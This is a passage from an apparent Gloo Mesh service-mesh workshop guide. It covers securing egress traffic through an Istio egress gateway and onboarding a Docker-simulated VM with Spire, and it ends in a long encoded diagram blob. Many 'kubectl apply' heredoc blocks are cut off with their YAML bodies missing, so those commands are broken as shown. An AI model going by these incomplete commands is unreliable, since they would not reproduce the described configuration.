requests.get('http://details.bookinfo-backends:9080/details/0'); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).to.contain("200"); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/zero-trust/tests/bookinfo-access.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Let's rollback the change we've made in the `WorkspaceSettings` object: + +```bash +kubectl apply --context ${CLUSTER1} -f - < +[VIDEO LINK](https://youtu.be/tQermml1Ryo "Video Link") + + +In this step, we're going to secure the egress traffic. + +We're going to deploy an egress gateway, configure Kubernetes `NetworkPolicies` to force all the traffic to go through it and implement some access control at the gateway level. + + + +The gateways team is going to deploy an egress gateway: + +```bash +kubectl apply --context ${MGMT} -f - < + +You should get an output similar to: + +```,nocopy +NAME READY STATUS RESTARTS AGE +istio-egressgateway-1-17-55fcbddd96-bwntr 1/1 Running 0 25m +``` + +Then, the gateway team needs to create a `VirtualGateway` and can define which hosts can be accessed through it: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); + +describe("Communication not allowed", () => { + it("Productpage can NOT send requests to httpbin.org", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.get('http://httpbin.org/get', timeout=5); print(r.text)\"" }).replaceAll("'", ""); + expect(command).not.to.contain("User-Agent"); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/secure-egress/tests/productpage-to-httpbin-not-allowed.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +It's not working. + +You can now create an `ExternalService` to expose `httpbin.org` through the egress gateway: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); + +describe("Communication status", () => { + it("Productpage can send requests to httpbin.org", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.get('http://httpbin.org/get'); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).to.contain("200"); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/secure-egress/tests/productpage-to-httpbin-allowed.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Now, it works! + +And you can run the following command to check that the request went through the egress gateway: + +```shell +kubectl --context ${CLUSTER1} -n istio-gateways logs -l istio=egressgateway --tail 1 +``` + +Here is the expected output: + +```,nocopy +[2023-05-11T20:10:30.274Z] "GET /get HTTP/1.1" 200 - via_upstream - "-" 0 3428 793 773 "10.102.1.127" "python-requests/2.28.1" "e6fb42b7-2519-4a59-beb8-0841380d445e" "httpbin.org" "34.193.132.77:443" outbound|443||httpbin.org 10.102.2.119:39178 10.102.2.119:8443 10.102.1.127:48388 httpbin.org - +``` + +The gateway team can also restrict which HTTP method can be used by the Pods when sending requests to `httpbin.org`: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); + +describe("Communication status", () => { + it("Productpage can send GET requests to httpbin.org", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.get('http://httpbin.org/get'); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).to.contain("200"); + }); + + it("Productpage can't send POST requests to httpbin.org", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.post('http://httpbin.org/post'); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).to.contain("403"); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/secure-egress/tests/productpage-to-httpbin-only-get-allowed.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +You can still send GET requests to the `httpbin.org` site from the `productpage` Pod: + +```shell +kubectl --context ${CLUSTER1} -n bookinfo-frontends exec $(kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods -l app=productpage -o jsonpath='{.items[0].metadata.name}') -- python -c "import requests; r = requests.get('http://httpbin.org/get'); print(r.text)" +``` + +But you can't send POST requests to the `httpbin.org` site from the `productpage` Pod: + +```shell +kubectl --context ${CLUSTER1} -n bookinfo-frontends exec $(kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods -l app=productpage -o jsonpath='{.items[0].metadata.name}') -- python -c "import requests; r = requests.post('http://httpbin.org/post'); print(r.text)" +``` + +You'll get the following response: + +```,nocopy +RBAC: access denied +``` + +Let's delete the Gloo Mesh objects we've created: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-frontends delete networkpolicy restrict-egress +kubectl --context ${CLUSTER1} -n bookinfo-frontends delete externalservice httpbin +kubectl --context ${CLUSTER1} -n istio-gateways delete accesspolicy allow-get-httpbin +``` + + + +## Lab 24 - VM integration with Spire + +Let's see how we can configure a VM to be part of the Mesh. + +To make it easier (and more fun), we'll use a Docker container to simulate a VM. + +The certificates will be generated by the Spire server. We need to restart it to use the intermediate CA certificate generated by the `RootTrustPolicy`. + +```bash +kubectl --context ${CLUSTER1} -n gloo-mesh rollout restart deploy gloo-spire-server +``` + +First of all, we need to define a few environment variables: + +```bash +export VM_APP="vm1" +export VM_NAMESPACE="virtualmachines" +export VM_NETWORK="vm-network" +``` + +Create the namespace that will host the virtual machine: + +```bash +kubectl --context ${CLUSTER1} create namespace "${VM_NAMESPACE}" +``` + +Let's update the bookinfo `Workspace` to include the `virtualmachines` namespace of the first cluster: + +```bash +kubectl apply --context ${MGMT} -f - < /vm/resolv.conf" +docker exec vm1 cp /vm/resolv.conf /etc/resolv.conf +``` + +Install the dependencies: + +```bash +docker exec vm1 apt update -y +docker exec vm1 apt-get install -y iputils-ping curl iproute2 iptables python3 sudo dnsutils +``` + +Create routes to allow the VM to access the Pods on the 2 Kubernetes clusters: + +```bash +cluster1_cidr=$(kubectl --context ${CLUSTER1} -n kube-system get pod -l component=kube-controller-manager -o jsonpath='{.items[0].spec.containers[0].command}' | jq -r '.[] | select(. | startswith("--cluster-cidr="))' | cut -d= -f2) +cluster2_cidr=$(kubectl --context ${CLUSTER2} -n kube-system get pod -l component=kube-controller-manager -o jsonpath='{.items[0].spec.containers[0].command}' | jq -r '.[] | select(. | startswith("--cluster-cidr="))' | cut -d= -f2) + +docker exec vm1 $(kubectl --context ${CLUSTER1} get nodes -o=jsonpath='{range .items[*]}{"ip route add "}{"'${cluster1_cidr}' via "}{.status.addresses[?(@.type=="InternalIP")].address}{"\n"}{end}') +docker exec vm1 $(kubectl --context ${CLUSTER2} get nodes -o=jsonpath='{range .items[*]}{"ip route add "}{"'${cluster2_cidr}' via "}{.status.addresses[?(@.type=="InternalIP")].address}{"\n"}{end}') +``` + +Copy `meshctl` into the container: + +```bash +docker cp $HOME/.gloo-mesh/bin/meshctl vm1:/usr/local/bin/ +``` + +Create an `ExternalWorkload` object to represent the VM and the applications it runs: + +```bash +kubectl apply --context ${CLUSTER1} -f - <&1 | grep INFO | awk '{ print $4}') + sleep 1 # Pause for 1 second +done +--> + +Get a Spire token to register the VM: + +```bash +export JOIN_TOKEN=$(meshctl external-workload gen-token \ + --kubecontext ${CLUSTER1} \ + --ext-workload virtualmachines/${VM_APP} \ + --trust-domain ${CLUSTER1} \ + --plain 2>&1 | grep INFO | awk '{ print $4}') +``` + +Get the IP address of the E/W gateway the VM will use to register itself: + +```bash +export EW_GW_ADDR=$(kubectl --context ${CLUSTER1} -n istio-gateways get svc -l istio=eastwestgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}') +``` + +Register the VM: + +```bash +export GLOO_AGENT_URL=https://storage.googleapis.com/gloo-platform/vm/v2.4.7/gloo-workload-agent.deb +export ISTIO_URL=https://storage.googleapis.com/solo-workshops/istio-binaries/1.19.3/istio-sidecar.deb + +docker exec vm1 meshctl ew onboard --install \ + --attestor token \ + --join-token ${JOIN_TOKEN} \ + --cluster ${CLUSTER1} \ + --gateway-addr ${EW_GW_ADDR} \ + --gateway istio-gateways/istio-eastwestgateway-1-19 \ + --trust-domain ${CLUSTER1} \ + --istio-rev 1-19 \ + --network vm-network \ + --gloo ${GLOO_AGENT_URL} \ + --istio ${ISTIO_URL} \ + --ext-workload virtualmachines/${VM_APP} +``` + +Take a look at the Envoy clusters: + +```bash +docker exec vm1 curl -v localhost:15000/clusters | grep productpage.bookinfo-frontends.svc.cluster.local +``` + +It should return several lines similar to the one below: + +```,nocopy +outbound|9080||productpage.bookinfo-frontends.svc.cluster.local::172.18.2.1:15443::cx_active::0 +``` + +You can see that the IP address corresponds to the IP address of the E/W Gateway. + +You should now be able to reach the product page application from the VM: + +```bash +docker exec vm1 curl -I productpage.bookinfo-frontends.svc.cluster.local:9080/productpage +``` + + + +Now, let's do the opposite and access an application running in the VM from a Pod. + +Run the following command to start a web server: + +```bash +docker exec -d vm1 python3 -m http.server 9999 +``` + +Try to access the app from the `productpage` Pod: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-frontends exec $(kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods -l app=productpage -o jsonpath='{.items[0].metadata.name}') -- python -c "import requests; r = requests.get('http://${VM_APP}.virtualmachines.ext.cluster.local:9999'); print(r.text)" +``` + + + +Finally, let's deploy MariaDB in the VM and configure the ratings service to use it as a backend. + +```bash +docker exec vm1 apt-get update +docker exec vm1 apt-get install -y mariadb-server +``` + +We need to configure the database properly: + +```bash +docker exec vm1 sed -i '/bind-address/c\bind-address = 0.0.0.0' /etc/mysql/mariadb.conf.d/50-server.cnf +docker exec vm1 systemctl start mysql + +docker exec -i vm1 mysql < ./test.js +const helpers = require('./tests/chai-http'); + +describe("The ratings service should use the database running on the VM", () => { + it('Got reviews v2 with ratings in cluster1', () => helpers.checkBody({ host: `https://cluster1-bookinfo.example.com`, path: '/productpage', body: 'color="black"', match: true })); +}) + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/vm-integration-spire/tests/ratings-using-vm.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + +Let's delete the objects we've created: + +```bash +kubectl --context ${CLUSTER1} -n "${VM_NAMESPACE}" delete externalworkload ${VM_APP} +kubectl --context ${CLUSTER1} delete namespace "${VM_NAMESPACE}" +kubectl --context ${CLUSTER1} -n bookinfo-backends delete -f https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/platform/kube/bookinfo-ratings-v2-mysql-vm.yaml +kubectl --context ${CLUSTER1} -n bookinfo-backends scale deploy/ratings-v1 --replicas=1 +``` + +Let's apply the original bookinfo Workspace: + +```bash +kubectl apply --context ${MGMT} -f - < + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdTAwMGKFiEI0Mo+d5Fx1MDAxZVC1cHmWaemTq8ZZPnd39zaIO49hRJWLyaSbyzR1cVx1MDAxOWWBbLZ/zYZcdFxiTcko/teptv1wXHUwMDA3XHUwMDE1KIg7XGJiTFxuLVx0j8xcdTAwMWW6NDyvnDTEqE3fs2e628jk0uXYs1x1MDAwN1XCWlx1MDAwMHuUWcipeGgwS8yuUJZcdTAwMTj2S51Br9RcdTAwMDdcdTAwMDLysoXS0k3yXq5QiljCcfFFptBcdTAwMDRxLIjAO+OJTTRRo/5YSvZfXHUwMDA3vFxckFeZxtXpey5xt1x1MDAwNU10Ocyp92eiXs4rguCHZPuNXHUwMDFmozjzXHUwMDFhdiCLRbhHiSRagZ1cdTAwMTWZ18qniWY91ytcdTAwMTGpbvh7h41EsX1cdTAwMTh3XmOM7JHVXHUwMDE0Xc5qeJG5QFxmYqmBwfbGXFyfTKZMXHUwMDA1XHUwMDAyJqylorAgNLpKXHUwMDE4pKpccvQwPc1cdTAwMWSlzlx1MDAwNil+93iuns/iTqZSMIvSQLNE6YhmSVxm8JJcdTAwMDTiVZI6QPBcdTAwMGZe2lx1MDAwNC+RYJOdgC3BXHUwMDE16KLIzHGcKD8kXHUwMDFiXHUwMDE1TVKpJG4+1nn5PNf6POZAazFcdTAwMDdcdTAwMDM4YshfgF3BMVx1MDAxN25rgkthUcSZQppLRDFcdTAwMGZkjo1sdsOhTsKnXuagXHUwMDBlXHUwMDAx/4dcdTAwMWI4JSDDiP42wpw4nLaL9CokhS10btEyepV314lcdTAwMTNVnN6i6lx1MDAxYq9gMbnOn6XjLswxY2xcdTAwMDF0XGJE3aBjJ1x1MDAxMlxcXCK0XGZvYOLBXHUwMDFiSmmNlSa7cyt9K4FNdKCBizmCf0iq6KD74fWilW0/a56+aZ/V8UDc5p5cdTAwMWFfgFx1MDAwMfhcdTAwMDJcdTAwMDNIaoCDXHUwMDE0XG5cdMFcdTAwMTCYjrtiXHUwMDAwXHUwMDFmzFx1MDAwMrjGyXtcdTAwMGXv21x1MDAxZimtlaaAxGOKWUr59NlcdTAwMGLKqiS55JXMtKVcdTAwMGU7mXSsWSBcdTAwMDSzYEU0XHUwMDAwelx1MDAxMZ1cdTAwMDWqzWrzqVt8vM6f2Nm3l+TNS+p0XHUwMDFhwFx1MDAwMlx1MDAwYqTsZoBFN+MuXHUwMDFkoFx1MDAwMi8wXHUwMDAwqL2IXHUwMDE4XHUwMDFlXHUwMDAwna0r4VxmULZZuVr2gSmCXHUwMDA10fpcdTAwMDc/cC9KYdo4OFx1MDAxMd5cdTAwMWRK2YT+m4ns8dFcdTAwMGIj+v6yTmrnlefxJD/1p/+h/T6M6s6Rw0Z5YE9cdTAwMTW5yDda+fZzws5Ttlx1MDAwNTdRsnh/jK/ZxbhbvsZ3+aG+PHuPeGBcdTAwMTE6buWtnJInnaNmtkEz6mySbVx1MDAxZSfLXHUwMDFijetatf9EXfhPkC6uXHQ5XHUwMDA1XHUwMDBiXHJcdTAwMTYsXHUwMDE0Y8y4UtHBZThdxVW3glx1MDAwMvWIXHUwMDE2XHUwMDE5XHUwMDExXFw+z671XHUwMDFkWpjPZeiHPGFzJ+NcdTAwMWZ5goSiiKL9qdO1SHK+893OMNOY/jqTcP31tNRutCauzZvRqvE6d2p9mN3BP51cdTAwMWE8cFxcmjiXeWDDc8x4zP3Bw1aj1pkxN8zc7rtoftiolFpcdTAwMWZvaDeqVae2rcBsSjBm/zyKkuz2XHUwMDFitUan1MouTPbPVDfQ9UJcdTAwMDSypKKEXHUwMDExJkh0XV+cPKXro3bXVp2ULL1cXCVG09Yk7rqe61x1MDAwNYZkRMZW11x1MDAwM1dcbs1cdOJ7480wXHUwMDFkd35LXHUwMDFmT8rkrHyIS1x1MDAwZs3TfE886NKPqt9cXNXvaHmXIVxi/1x1MDAwN0acLX7oVETloVhu2o/H6DB1f4TGN3u2e4KQXHR1cN/isbbgWFx1MDAxM2d43zIpXHUwMDE4vk3xXHUwMDA1JoteL0ajer0+XHSYXGKz7UI5XHUwMDE00jdcdTAwMDAmdmkwXHUwMDFj24PhnpDJXHUwMDEylb6ITD5muzk0XHUwMDAxayCQJzHCWlwivoIr+jnVrV6Unm5HuWKmctVTw9Py1VpuiE+ML6bEQtxxubhcdTAwMTM+T123dSB7RjhcYt8yTNFcYlMhd3lcYr5cdExcdTAwMTk/0veX9/40V2p3MX9X6YvapPNcdTAwMDNTtlx1MDAwNVN2tLxbXHUwMDFmdlx1MDAxOfrxf2DE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lKqbohzuixr1GoFSMMlx1MDAxNj3mNXyfYlxuf7hxwoTIWoIsXHUwMDFlSdbuXHUwMDA0XG5cdTAwMTFvnIaSXGK0IGX7k7D7cNJcZoaNbtVcdTAwMTf/OPJrtop/luBcdTAwMDaPZ+bXXGY3QD2CXHUwMDA18qLWmFKFZXRenJ7kJlx1MDAxN+VXmrrtl6v1m3NVOnluxlx1MDAxYvVgJIUlXHUwMDFkgUyLqEdYeFx1MDAxZdsqQ47iI6CewHiR9Vx1MDAwZWK0wIhcdTAwMTFcdTAwMTZT70zlqdGY3lUr9/lcdTAwMDTF6btelVWGRz+wZ1uwZ+vLu1xmn/g/MOJsXHUwMDFm9L1WVGWbL09X/ZpcdTAwMWGfjF7HzS2swnVcdTAwMDMl2rJeyDVzN5k30UpcYrve2sK4WVSRtVx1MDAxMupf4odhrpQ6QSn8XHUwMDFhgP5WXHUwMDFht0urhZeCmojqjT1sXvR6xft2gE9tpXFvSimab9/ZZV6+KaaO84Q21FtM8Vx1MDAxZtPBXHUwMDExvCbeg+lcdTAwMTVcZu1wNogp/MNI4TClg7Ezo1wiROl8kieMaiWJdG7LN0B/qVa3e3BtXHUwMDBm6lx1MDAwN/90SjXX8n2CI2xcdJRaXHUwMDA0gvPJ/prqWoxJUSBcdTAwMTjUjCikVnFLTzI5Us4n+bQ+fUHtw0nibjpcdTAwMWXHnTFcdCXcXHUwMDAyO1x1MDAwN0smZj9cdTAwMTdcXNRKWkRxidmvnyw4fFx1MDAxOCvBSuGBaaGcSbhPni9cdTAwMTWLnCkpXHUwMDE4ZVxuyXhCQJ0qto9q56P6ICllelx1MDAwNFx1MDAxYn7fKOxeK/nyvYrK9+Vu96XRee5cdTAwMWWMu/1cdTAwMTfYn4rty/iOvMPVXHUwMDE4f9jtXHUwMDA1cb1r8oss7jOvUC7/taI+bI5VYMypXHUwMDAyc0hcdTAwMTLMo5/Bh29xLE0+QuliwClcdTAwMDe2j3b2XHUwMDE0ga+DzTxELMKpXHUwMDA0w01TXHUwMDEz3O6TM1x1MDAwM5ag1EIoRpBAWFBvuIxiVDGhYpskIHA4U1x1MDAwZYal/vCo0ak2OjW4N1x1MDAxN1x1MDAxYn9KxJxH0Fx1MDAxZjM2roxmaVwixlVcdTAwMDaLQlx1MDAxMLwgRuf+XG6zNKWemZz1IbLNT6nJ73d8gOq/7U51PifXfFulwfC42243hvBN77qNztD3XHUwMDFiXHUwMDFkXHUwMDFhdqvbJVx1MDAwZlx1MDAxZsPIznuLfNkzI7q3bv5/XHUwMDA3c9Kd/fLx///vP77vTlx1MDAwNJOYuTzENVx1MDAxZu8v5+uqwFx1MDAwMavASDtTJkRcdTAwMTC0QkqeSF3w9EProjzOXHUwMDFkqXbr8P2e1DNxlyhkMapHXHUwMDE4XHUwMDE5s7VcdTAwMWOOIIlCmFx1MDAwZkpw2lx1MDAwYr+TRDGDXVx1MDAxME7He7xkxk5cdTAwMTV54rlcdTAwMGZvXHUwMDA0Nlx1MDAxY/zT6ZTadrBOXHUwMDE364L5TXW6/1x1MDAxNNfixbBweolNiJ2k0T26R6PGY/7pgddEMTs8StmXL1fX2bgzoyMzw3xELaR0LE5lS6xIfVx1MDAxMqi8rMiFlIpcdTAwMTC8u2jXTYoh7Dp5ZFx1MDAxOTbYjM/NdsWbzf1muFx1MDAxZYinJLhaXHUwMDAzLDPWIPKj69zwvLm4sjmzXHUwMDA0XHUwMDEximuAw4I7PFkz/SuVZTBcdTAwMGWXXG6gkCa70b9YXG6La800XHUwMDE3nDFnqt6HXGJAXHUwMDE2YVxiaa5NQS6JlWZcdTAwMWUjnjBcdTAwMDFgXGZAW0y184qIflx1MDAxMf0ux/rhibsurE9gPlx1MDAxNCxY2DVCJJ7PbFx1MDAwZfaJxVx0wFx1MDAxZIY1gf2RXqz/tVx1MDAxMH1cdTAwMTCJze76UNeKmD5YwogwXHQjlOJgYESWMOGaJa5cdTAwMTKGgr2kJaw6kcQtX1x1MDAxNMNcdTAwMTZlSlx1MDAxMSRcdTAwMTUmUm9WlSyqfCE+XHUwMDA3w8jShEqgXHUwMDAwkyhpouC80Vx1MDAxYoxTJZhi+6tcdTAwMDX4KS6DcLDqXHUwMDEyI0gjMJElx2C6UUmVV4xwi4DVxkGEXHUwMDEwWFxcIFx1MDAwMo9cdTAwMTiJJNrCU7Ldc1wioKdcdTAwMTgyNc0oXHUwMDE4zEr7ODKwJT9mXHUwMDA1prWm/y7hRqjr81x1MDAxZcpeUbZcdTAwMDVHoFx1MDAwNaYhgSXPMEUrXHUwMDA0oFx1MDAxZOfrXHUwMDE3qZv6IF3jdrfR7t2PT0dBJlJ8XHUwMDBlOkCPWoxcdTAwMTNqXG6hmJ/uMimgSCw9v4s38oeGn3PISOdcdTAwMWNcXIK6V1x1MDAxOO0v/uzjXHUwMDE58ak6upnZ9Dtkflx1MDAxMLdzXHUwMDBln3mtXHUwMDA3YExcdTAwMThlXHUwMDEwm1x1MDAwM4bkJtUmuolcdTAwMTS+x/FcdTAwMDQwhGBLI8RcdOBcdTAwMTRK8EKdMGJKIYHcNUl+IPVCwlxmNjn0IIxacE+ZjFx1MDAxZolgIO7ld0EtRojmJlx1MDAwN1x1MDAxNGFvkTvMXHUwMDE4aGCM2O6OOWNcdTAwMDFgwlWJXHUwMDBiLFCjNGE9XHUwMDExXHUwMDAwf+Ned/j5/2BcdTAwMDVqcVhRwFxuRGMwhzlfXHUwMDBmwYRcdTAwMTfudk3KOFx1MDAxOPXMXHUwMDE2XHUwMDA3SFx1MDAwNfvFvZPSlqLwXHUwMDFmgFFcdTAwMDDNlGPhmdSXXHUwMDAyMMHUba5Ful5cdTAwMTG+LCmdXHUwMDE1Up2dmsLRgkY/xlx1MDAxNbmrafFq3E7nk2RCqqVB+sGuriPdPjGVWpLFY1xcQcFcdTAwMWXmUVx1MDAwZV2ipFIvXHUwMDA2V21cdTAwMTatK1x1MDAwMMdSKXfo5NlcdTAwMDTB8OtpIXd58np62SpVc0T36OA9oFxublx1MDAxY4J17/V7fZi+e7+aVlx1MDAxZnrDXHUwMDAxOZ5cdTAwMWVcdTAwMTfHW1x1MDAxOLdrn7yl+FBW2MnxqH9xcl647YuNxl1cdTAwMTZV67/w28GHocIl+Cw32O2DMNMzmzmyXFxcdKermFx1MDAxYUdYglx1MDAxY1mQLExakkc5Q4ogWZaFZC6VLj5cdDpYXGJNpGTfqopKr9+tjirDXqnmb7vsKktnibZcXLRonNPcQOHz4FKBoFx1MDAwYlx0XHUwMDE2SkT3x+J3fXPZOcq/ZTKd685tj5313lnMXHUwMDE1PvfUSZPALFtjyy0rfFwiKVFMx7RM4CBbtU9HNlx1MDAxMnJ6To9zk2L6XHUwMDE2jzZX+DtcdTAwMWH2q+GIfvWi1KjWXHUwMDA2vPp2+9gpPVx1MDAxN87JccTA1zVxhP/C71x1MDAxMUdcdTAwMTBHNv6CuOJgl7rcXHUwMDExS6u0h1JVXFxRXHUwMDA099Rek5K47JOdolxiXHUwMDFm2OBpzWEq+UpTbWZ/5Xz3XHUwMDAwXHUwMDFiqjYo89bAXHUwMDFmMijX27dcdTAwMDZcdTAwMTmW6NtFyPBniuvDXHUwMDA1XHUwMDFhkmUvhcBcdTAwMWHIc4Uwb9LoXT8nXHUwMDFmiomH++NMXHUwMDFkPZ+O27WYw1x1MDAwNUlcdTAwMTbhgpIotnBcdTAwMDFjLmFuJKZFTI5vXHUwMDFlXHUwMDBln8pjzO76z/mXXuG62LRcdTAwMDPSWFdR7F9r2M9X6/5fJOJ0p4nWaY62U0RcXIpcdTAwMWJylMtkRk2++2OpteCCs87/griSRFx1MDAxOT/2XG5nNeHbXHUwMDFmV7wgyVwiXlBK7Vx1MDAxNS/49GvRnGqG8beqidYvXHJcdTAwMWKdWlx1MDAwMF7YkYthicJdxFx1MDAwYn+muFx0XlxiaVx1MDAxZCOJaUYgVqh/dvR+1j1cIp2bzFmmcFx1MDAwYqbw81x0uog5XlBKetxcdTAwMGI8vnhcdTAwMDEgXHUwMDFjJVx1MDAxNO0wknxcdTAwMTO8UFN5/lhCt1xydSpcdTAwMWYmV0f9V/RcdTAwMWHgSV9FXHUwMDAzf61hP/84wf+L/CvxQmCuulx0yVx1MDAxNKZLQXRvaPj+x1x1MDAxNTCA8e5xMNB4OVx1MDAxOFx1MDAxNMPMnHx+K7hgvzXs8ee6XHUwMDE3luhbXHUwMDBmXFz4PcVQ1lx1MDAwYlxmrGI8hPdcdTAwMThcdTAwMTCuXHUwMDE0K+R7hvtgV+K9xfP+XYJ1ri1cdTAwMDS4SCDGXHUwMDA0fGd3bJVExFx1MDAxMkSChlx1MDAwNtREhVx1MDAwZe5cdTAwMWG6KVx1MDAxZipqcSq45EyCtaC0T3RcdTAwMTUjlkaKalx1MDAwNJCBKOplUs2UQpztMSdtWXRcdTAwMTVccuXSiNFV4ad2XHUwMDA380Amk1XBMWJcYjFFhYA9xo53fURXUTnfYLCIfr9jxeiqcL+ge1KmaVx0YTAzLLFcdTAwMDJTzDMpbVx1MDAxMcxcdTAwMTg2Raspk1x1MDAxY2vPnL5UcFUgbZvLQ9Xz4f5yvq4s3ThccvREYI1cdTAwMTVHXFyj6I7TcFxiXHUwMDE4V+mmXHUwMDE4XHUwMDAzXHUwMDE24Fx1MDAxNGmOXHUwMDE4kN2idKOWUkD+SoFoXHUwMDEzu1x1MDAwM1x1MDAxOVJbsOBUmkhekFDKp15cdTAwMDaVltSEScLULCdiUbYxRMBQXHUwMDEyOzzg+FqyXHKkiJJcdTAwMDB7iFZcdTAwMWOD3J9cdTAwMDOSuWhjlslG/L27SPI1U1/CMYl7TphxKcxhOVx1MDAwN8Q4T6Zyzlx0SSqZSWNcdTAwMDJhy+nXTnxcdCRscy2S9IqCLTyIhFx1MDAwNWa+XGKEqIQ5zVHAMtmm3tLvhaNBvUx7zyelq2y2cFiNffPsxY7AXHUwMDAy8Ygxo5/fbFx1MDAxNVRcdTAwMWKmXHUwMDA0aOSn2+qW2mNcdTAwMDeq9ll9O5OJXHUwMDE2mfpfylx1MDAxM6LygEGK04vDW5K+Kuu3oFxiqlx1MDAxOFG/clG/pCqih3NcdTAwMGadVinYV5LENelr941WfZHBXHUwMDA2sj84XCLH1IUhQq5cdTAwMTLZa4+ml5eq+1467Vx1MDAwZYfjI1LjJzfDXHUwMDAw8o+Jh18xd2FcdTAwMThByVx1MDAxNjuvbde9r1x1MDAwNFaSXGJcdTAwMTVPyT+6aNwq2qynzrt1XU2Nn++7LMZNVq/PK5M31rRH9DJ5U8k2mo2H1/ZcdTAwMTbGrZy+PNitdOU8l7rq5juyca2zm/n3d7S8y45ccvxcdTAwMWZcdTAwMThxtoVb0UqlXG5FObrqXHUwMDBlblx1MDAwYjlVfK319yxcYoOrY4VcdTAwMTj3YH1Q6nRWL5OB4ftcdTAwMTRTXGKgXHUwMDE2K+VwXHUwMDE0sTzWflJcdTAwMWJcYueAWqiKb2ZDuFx1MDAwNf+lMlx